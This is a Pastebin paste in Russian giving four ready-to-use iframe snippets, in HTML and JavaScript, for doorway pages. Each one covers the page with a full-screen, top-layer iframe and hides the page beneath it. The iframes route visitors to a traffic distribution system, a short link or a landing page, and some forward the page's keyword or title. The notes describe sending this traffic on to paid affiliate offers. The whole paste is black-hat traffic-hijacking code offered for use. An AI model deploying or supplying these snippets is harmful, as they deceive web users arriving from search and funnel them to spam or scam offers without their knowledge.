Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- 1. Вывод iframe с передачей кея на tds
- <iframe src="http://tds.com/?xx&charset=UTF-8&keyword='.urlencode($key).'" style="z-index: 9999; position: fixed; left:0px; top: 0px;" scrolling="yes" width="100%" frameborder="0" height="'.$save_heightdoc.'"></iframe><style type="text/css">body {overflow:hidden;}</style>
- (Далее можно на прокладку, на платник или куда еще. Я гружу сразу прокладку на дор и подгружаю ее во фрейме. Далее черех tds на платник.)
- 2. Вывод iframe без заморочек
- <iframe src="http://vk.cc/5VDdBb/?utm_source=''" style="z-index: 9999; position: fixed; left:0px; top: 0px; background-color:white" scrolling="yes" width="100%" frameborder="0" height="100%"></iframe><style type="text/css">body {overflow:hidden;}</style>
- 3. Вывод iframe с помощью js
- document.write('<iframe src="http://mylanding.ru" width="100%" height="100%" vspace="0" hspace="0" scrolling="yes" frameborder="0" marginheight="0" marginwidth="0" style="width:100%; height:100%; position:fixed; top:0; right:0; bottom:0; left:0; z-index:2147483647; border:none; background:#fff"></iframe>');
- 4. Вывод iframe с помощью js с передачей параметра title
- document.write('<iframe src="http://mylanding.ru /?title=' + document.title + '" width="100%" height="100%" vspace="0" hspace="0" scrolling="yes" frameborder="0" marginheight="0" marginwidth="0" style="width:100%; height:100%; position:fixed; top:0; right:0; bottom:0; left:0; z-index:2147483647; border:none; background:#fff"></iframe>');
- (Вставить js можно, например, сразу после тега <body>. Вставить можно как окружив код тегами <script>тут код</script>, так и записав код в файл, например, myscript.js и вставить после body ссылку на него <script src="/myscript.js"></script>
- Если на лендинг необходимо передавать уточняющую информацию в виде ключевика страницы, с которой загружается ферйм, то это можно сделать, передав на лендинг title текущей страницы)
Advertisement
Add Comment
Please, Sign In to add comment